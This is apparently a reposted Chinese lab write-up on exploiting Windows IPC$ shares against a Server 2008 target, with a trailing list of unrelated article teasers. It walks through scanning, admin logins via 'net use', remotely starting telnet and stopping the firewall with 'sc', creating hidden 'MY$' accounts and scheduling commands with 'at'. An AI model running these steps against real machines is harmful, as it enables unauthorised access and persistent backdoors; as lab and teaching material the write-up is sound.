基于 Win Server 2008 复现 IPC$ 漏洞

写在前面

本篇博客演示了使用 winXP(配合部分 win10 的命令)对 win server 2008 的 IPC$ 漏洞进行内网渗透,原本的实验是要求使用 win server 2003,使用 win server 2003 可以规避掉很多下面存在的问题,建议大家使用 win server 2003 作为靶机进行测试,这里使用 win server 2008 仅作渗透演示,涉及内容主要就是扫描、拿shell、命令执行,总结一些知识,仅供学习参考。

Copyright © [2024] [Myon⁶]. All rights reserved.

文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默
人工智能icon-default.png?t=N7T8https://www.captainbed.cn/myon/

 

~~~~~~~~~~正文开始~~~~~~~~~~

知识介绍: 

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$ 是 NT2000 的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000 在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用 IPC$ ,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。

为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\Windows)等,即为 ADMIN$、C$、D$、E$ 等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。

使用 net 命令查看开启的共享:

net share

漏洞利用条件:

开放了 139、445 端口和 ipc$ 文件共享,并且我们已经获取到用户登录账号和密码。

测试靶机:Windows Server 2008 (内网 ip:192.168.249.129)

攻击机:Windows XP(ip 地址:192.168.249.137)

(后续部分命令基于 win10 物理机演示)

靶机虽然启动了 Windows 防火墙,但是允许文件共享,其余设置全为默认安装设置,并安装了所有补丁。(相当于是限定我们的渗透方向)

如下图,防火墙处于开启状态:

入站规则:启用文件和打印机共享

实验开始前先测试下网络:可以 ping 通

X-scan 扫描

在使用这个软件过程中遇到了一些问题,同样是进行 ip 段扫描

但是在物理机(win10)却扫描不到存活主机

参数配置:

扫描结果:

未发现存活主机

将软件放进虚拟机(XP系统),同样的参数配置

扫描结果:

成功扫到内网靶机 192.168.249.129

因为这个 win server 2008 是我的一台靶场机,所以会扫到这么多的漏洞

由于登录用户密码是我自定义修改过的,所以这里我们并没有扫到弱口令

正常来说,win server 2003 会扫到弱口令:administrator/123456

假设我们扫到了一个登录的弱口令,这也是 IPC$ 漏洞利用的条件之一

接下来我们分别演示利用 IPC$ 建立空连接和非空连接

我们可以无需用户名与密码与目标主机建立一个空的连接(前提是对方机器必须开了 IPC$ 共享),利用这个空的连接,我们可以得到目标主机上的用户列表。但是在 Windows2003 以后,空连接什么权限都没有,也就是说并没有太大实质的用处。

使用命令建立 IPC$ 空连接(即用户名和密码都为空):

net use \\192.168.249.129 /u:"" ""

查看共享连接 

net use

有些主机的 Administrator 管理员的密码为空,那么我们可以尝试进行空连接,但是大多数情况下服务器都阻止了使用空密码进行连接。

下面我们使用拿到的账号和密码进行 IPC$ 非空连接

使用命令:

net use \\192.168.249.129 密码 /user:administrator

遇到如下的报错,这是因为我们刚才建立的空连接没有断开,正如我们前面所说,每个客户端只能与远程计算机的 IPC$ 共享建立一个连接。

因此我们先断开刚才建立的连接:

net use \\192.168.249.129 /del

再次执行非空连接的命令,建立连接成功

这里顺便说一下用户权限的问题:

使用管理员组内用户( administrator 或其他管理员用户)建立 IPC$ 连接,可以执行所有命令;

而使用普通用户建立的 IPC$ 连接,仅能执行查看时间命令:net time \\192.168.249.129 。

这里我们也演示一下查看当前时间:

net time \\192.168.249.129 

尝试查看文件和目录:

dir \\192.168.249.129\c$

执行成功 

与靶机对比一下,内容完全一样

当然这个命令也可以直接在运行框执行

\\192.168.249.129\c$

结果如下图,我们就可以直接在这里进行图形化的操作

回到实验本身,我们使用 sc 命令获取目标计算机的所有服务列表,并保存在本地:

使用 > 符号输出到本地的 C 盘下一个名为 MY.txt 的文档里

sc \\192.168.249.129 query type= service state= all > c:\MY.txt

(特别注意一点,在两个等号后面一定要加上空格,否则你导出的结果会有问题) 

执行成功后我们就可以找到该文件

在进行这一步时遇到了以下问题:

1、系统资源不足 无法完成请求服务

2、sc 命令拒绝访问

3、导出文件内容为:[SC] EnumQueryServicesStatus:OpenService FAILED 1060:

解决方案:重启客户机,重新建立连接,执行命令时加上空格

查看我们导出的文件,使用快捷键 Ctrl+F 检索 telnet 

可以看到该服务处于禁用状态

并且我们可以获知服务名为:TlntSvr 

接下来我们设置 telnet 为自启动状态并启动它:

sc \\192.168.249.129 config tlntsvr start= auto

sc \\192.168.249.129 start tlntsvr

 

再次导出目标计算机的所有服务列表

可以看到 telnet 服务处于运行状态

为了便于后续的渗透操作,我们一般需要先对防火墙进行关闭

通过检索关键字  firewall 

可以得知该服务处于运行状态,并且服务名称是 MpsSvc

(由于我这里是使用 win server 2008 进行的演示,该实验原本是基于 win server 2003 进行的,在 win server 2003 中,防火墙名称叫 SharedAccess)

使用 sc 命令关闭防火墙:

sc \\192.168.249.129 stop MpsSvc

再次导出服务运行情况:

这里遇到了问题,无法获取到目标的服务列表情况

进行一些简单的命令测试,似乎已经无法与目标正确建立连接

查看目标防火墙状态,发现是刚才远程执行关闭防火墙命令所导致的

由于防火墙关闭时发生了错误,导致一些服务也无法正常工作

没办法我们只能重启靶机

(这里我进行了多次测试,都会出现这个错误,只能手动关闭防火墙了,2003 应该是没问题的)

重新在攻击机测试:

连接恢复正常

接下来我们尝试与目标计算机建立 telnet 连接 

直接使用 telnet 命令跟上目标 ip :

(注意这里没有反斜杠 \\ )

telnet 192.168.249.129

键入 y ,回车 

输入用户名和密码

用户名为:administrator

密码为自己的密码(win server 2003 默认是 123456)

出于安全考虑,输入的密码不会显示出来,其实是输入成功了的,直接回车即可

telnet 连接建立成功

查看当前 ip

ipconfig

已经是我们目标靶机的 ip:192.168.249.129 

查看一下当前权限:

whoami

 

由于 shell 已经建立,并且是最高管理员权限,我们便可以进行一系列想做的操作了。

新建普通账户:

net user MY 123456 /add

这里对密码的复杂度进行了限制,换句话说就是我们设置的密码太简单了 

经过多次尝试,发现密码需要包含大小写字母和数字

创建新账号成功

查看当前存在的账户:

net user

即可看到我们新建的 MY 账号 

下面我们新建隐藏用户:

使用 $ 符

注意:该方法仅能实现在命令行里隐藏账户,但是在图形化管理工具里该账户还是可见的

net user MY$ qaMY789 /add

说明:上述命令直接复制执行会出错的,需要自己敲一遍。

MY$ 用户创建成功,并且在命令行里面无法看见,一定程度上实现了隐藏

但是在图形化账户管理界面,MY$ 用户是可见的:

后续我们再介绍通过注册表实现用户的完全隐藏

关于 telnet 的利用就到此为止,我们再补充一些其他命令的利用。

首先使用 exit 断开 telnet 连接

1、tasklist 命令

该命令用于查看进程

tasklist /S 192.168.249.129 /U administrator -P 密码

在 XP 系统无法执行(版本太老了不认识这个命令)

因此换用 win 10 的终端

执行成功,回显如下图:

2、at命令

该命令用于添加计划任务,但是在 Windows Vista、Windows Server 2008 及之后版本的操作系统中已经弃用了 at 命令,而转为用 schtasks 命令,schtasks 命令比 at 命令更灵活,在使用schtasks 命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt

首先我们查看当前时间

net time \\192.168.249.129

假设我们让它在 02:42pm 的时候再新建一个名为 MY67 的用户:

at \\192.168.249.129 02:42pm net user MY67 qaMY123 /add

并在 02:42pm 前和 02:42pm 后分别执行 net user 命令查看存在的用户

结果如下:说明目标计算机执行了我们 at 命令计划的任务

此外,我又新建了三项计划任务

我们使用 at 命令列出所有计划执行的作业:

at

追加具体作业 id 号就可以查看作业的详细信息

at 8

删除特定编号的作业

at \\192.168.249.129 作业ID /del

比如我们删掉作业 8 

at \\192.168.249.129 8 /del

删除后我们只能看到作业 7 和 9 了

关于我这里使用两个 cmd 框的解释:

一个框是通过 telnet 连接拿到了对方的 shell ,也就是没有加 \\192.168.249.129 所执行的命令;

另一个框是我本地的 cmd 框,执行命令时都是加了 \\192.168.249.129 的。

因为 ipc$ 有一定的危险性,而且对于大多数人来说是没啥用的,可以通过如下命令关闭共享:

net share ipc$ /delete

删除 IPC$ 共享后,如果需要重新开启它,可以使用以下命令来重新创建 IPC$ 共享:

net share ipc$

 最后附上一些常见的共享命令:

net use: 查看本机建立的连接或连接到其他计算机。

net session: 查看其他计算机连接到本机的会话,需要管理员权限执行。

net share: 查看本地开启的共享。

net share ipc$: 开启 IPC$ 共享。

net share ipc$ /del: 删除 IPC$ 共享。
net share admin$ /del: 删除 ADMIN$ 共享。

net share c$ /del: 删除 C$ 共享。

net share d$ /del: 删除 D$ 共享。

net use * /del: 删除所有连接。

net use \\192.168.249.129: 与指定 IP 地址建立 IPC 空连接。

net use \\192.168.249.129\ipc$: 与指定 IP 地址建立 IPC 空连接。

net use \\192.168.249.129\ipc$ /u:"" "": 以空用户名和密码与指定 IP 地址建立 IPC 空连接。

net view \\192.168.249.129: 查看指定 IP 地址上的默认共享。

net use \\192.168.249.129 /u:"administrator" "hacker": 以管理员身份与指定 IP 地址建立 IPC 
连接。

net use \\192.168.249.129 /del: 删除指定 IP 地址上的 IPC 连接。

net time \\192.168.249.129: 查看指定 IP 地址上的时间。

net use \\192.168.249.129\c$ /u:"administrator" "hacker": 以管理员身份连接到指定 IP 地址的 C$ 共享。

dir \\192.168.249.129\c$: 查看指定 IP 地址上 C 盘的文件。

net use \\192.168.249.129\c$ /del: 删除指定 IP 地址上的 C$ 共享连接。

net use k: \\192.168.249.129\c$ /u:"administrator" "hacker": 将指定 IP 地址的 C 盘映射到本地 K 盘。

net use k: /del: 删除本地 K 盘的映射。

Copyright © [2024] [Myon⁶]. All rights reserved.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/448411.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【论文阅读】Generative Pretraining from Pixels

Generative Pretraining From Pixels 引用: Chen M, Radford A, Child R, et al. Generative pretraining from pixels[C]//International conference on machine learning. PMLR, 2020: 1691-1703. 论文链接: http://proceedings.mlr.press/v119/chen…

仿牛客网项目---消息队列的实现

本篇文章讲一讲我们的项目中用到的消息队列。 1.阻塞队列 2.kafka 我的项目为什么要用消息队列? 如果采用消息队列,那么评论、点赞、关注三类不同的事,可以定义三类不同的主题(评论、点赞、关注),发生相应…

Makedown语法

这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个…

考研C语言复习初阶(5)

目录 一.表达式求值 1.1隐式类型转换 1.2 算术转换 12.3 操作符的属性 二. 指针是什么? 三 指针和指针类型 3.1 指针-整数 3.2 指针的解引用 3.3 野指针 四.指针运算 4.1 指针-整数 4.2 指针-指针 4.3 指针的关系运算 5. 指针和数组 6. 二级指针 …

【学习笔记】VMware vSphere 6.7虚拟化入门

VMware vSphere 6.7虚拟化入门课程介绍 课程内容 1、VMware vSphere 6.7虚拟化入门课程介绍 2、ESXi6.7控制台设置 3、使用vSpkere Host client管理虚拟机 4、VMware EsXi基础操作 5、VMware Esxi存储管理 6、管理ESXi主机网络与虚拟机网络 7、安装配置vCenter Server Applia…

哈希表|1.两数之和

力扣题目链接 /*** Note: The returned array must be malloced, assume caller calls free().*/// leetcode 支持 ut_hash 函式庫typedef struct {int key;int value;UT_hash_handle hh; // make this structure hashable} map;map* hashMap NULL;void hashMapAdd(int key, i…

【JAVA类】利用接口的多继承实现———图书管理系统【附源码】

引言 在我们学习了一些java的基础语法之后,需要把这些知识点可以串起来,这里使用一个简单的小项目可以很好的帮助我们牢记这些知识点,今天就带大家学习一个有关java的小项目,很多学校也经常把这个项目作为他们的课程设计——经典的…

HTML5+CSS3小实例:按钮边框动效

实例:按钮边框动效 技术栈:HTML+CSS 效果: 源码: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.…

git入门到精通

第3章 Git常用命令 3.1 设置用户签名 3.2 初始化本地库 3.3 查看本地 状态 3.3.1 首次查看&#xff08;工作区没有任何文件&#xff09; 3.3.2 新增文件&#xff08;hello.txt&#xff09; 3.3.3 再次查者&#xff08;检測到末追踪的文件&#xff09; 3.4添加暫存区 3…

System Verilog学习笔记(二十)——TCL基础

TCL简介 TCL&#xff08;Tool Command Language&#xff09;是一种解释执行的脚本语言。它提供了通用的编程能力&#xff1a;支持变量、过程和控制结构&#xff1b;同时TCL还拥有功能强大的固有的核心命令集 由于TCL的解释器是用C/C语言的过程库实现的&#xff0c;因此可以把T…

Unity笔记:C#基础(1)

杂项 虚函数 CSDN - C虚函数详解 cnblog - C#中的虚函数virtual 常量池与new 在C#中&#xff0c;string是不可变的&#xff0c;这意味着对string对象的操作通常会返回一个新的string对象&#xff0c;而不会修改原始的string对象。因此&#xff0c;几乎所有涉及更改string内…

现在可以在Mac桌面上快速打开C知道进行AI提问

看&#xff0c;我的Mac桌面有个C知道组件&#xff0c;点击即可快速打开C知道页面进行提问使用&#xff0c;再也不需要先打开浏览器&#xff0c;再输入csdn.net访问网站&#xff0c;然后点击页面上的C知道入口。 这是如何实现的呢&#xff1f; 首先&#xff0c;我们来做一些准…

微信聊天助手

最近我在负责公司的招聘工作时&#xff0c;真是深感繁琐与困扰。每当新添加求职者的微信&#xff0c;为了了解他们的基本情况以及求职意向&#xff0c;不得不反复地提出一系列固定的问题。比如询问他们的教育背景、工作经验、擅长技能、期望职位等等&#xff0c;这些必不可少却…

东京工业大学最新!一种具有多周期特征描述的精确ORB提取器

作者&#xff1a;小柠檬 | 来源&#xff1a;3DCV 在公众号「3DCV」后台&#xff0c;回复「原论文」可获取论文pdf 添加微信&#xff1a;dddvision&#xff0c;备注&#xff1a;3D高斯&#xff0c;拉你入群。文末附行业细分群 详细内容请关注3DCV 3D视觉精品课程&#xff1a;…

【每日一题】2834. 找出美丽数组的最小和-2024.3.8

题目&#xff1a; 2834. 找出美丽数组的最小和 给你两个正整数&#xff1a;n 和 target 。 如果数组 nums 满足下述条件&#xff0c;则称其为 美丽数组 。 nums.length n.nums 由两两互不相同的正整数组成。在范围 [0, n-1] 内&#xff0c;不存在 两个 不同 下标 i 和 j &…

P5266 【深基17.例6】学籍管理题解

题目 您要设计一个学籍管理系统&#xff0c;最开始学籍数据是空的&#xff0c;然后该系统能够支持下面的操作&#xff08;不超过条&#xff09;&#xff1a; 插入与修改&#xff0c;格式1 NAME SCORE&#xff1a;在系统中插入姓名为NAME(由字母和数字组成不超过20个字符的字符…

博客系统(SSM)

前端页面http://t.csdnimg.cn/zwKyG以上是之前写过的博客前端页面的内容&#xff0c;下面是通过SSM实现的后端内容。 目录 一.准备工作 1.1数据准备 1.2修改配置版本文件 1.3配置数据库 二.项目公共模块 2.1实体类 2.2操作数据库部分 三.功能开发 3.1博客列表 获取博…

【2024】使用Vuetifi搭建vue3+Ts项目,并使用tailwind.css

目录 使用Vuetifi搭建项目使用tailwind.css 只要跟着官方文档来就不会出错。 使用Vuetifi搭建项目 npm create vuetifyyarn create vuetifypnpm create vuetifybun create vuetify在终端运行一个就行&#xff0c;之后就可以选配置了。 使用tailwind.css 先运行&#xff1a; …

最大的单入口空闲区域

最大的单入口空闲区域 问题描述输入输出代码实现 问题描述 找到最大的单入口空闲区域。 空闲区域是由连通的’O’组成的区域&#xff0c;位于边界的’O’可以是入口&#xff0c; 单入口空闲区域即有且只有一个位于边界的’O’作为入口的由连通的’O’组成的区域。 如果两个元素…

救命!RPA隐藏的高效办公秘密居然被我发现了

在这个快节奏的社会&#xff0c;办公效率的重要性日益凸显。如何提升工作效率&#xff0c;成为了许多公司和个人思考的问题。RPA&#xff0c;即机器人流程自动化技术&#xff0c;正以其独特的优势&#xff0c;成为提升办公效率的重要工具。 RPA的核心是模拟人类在计算机系统中进…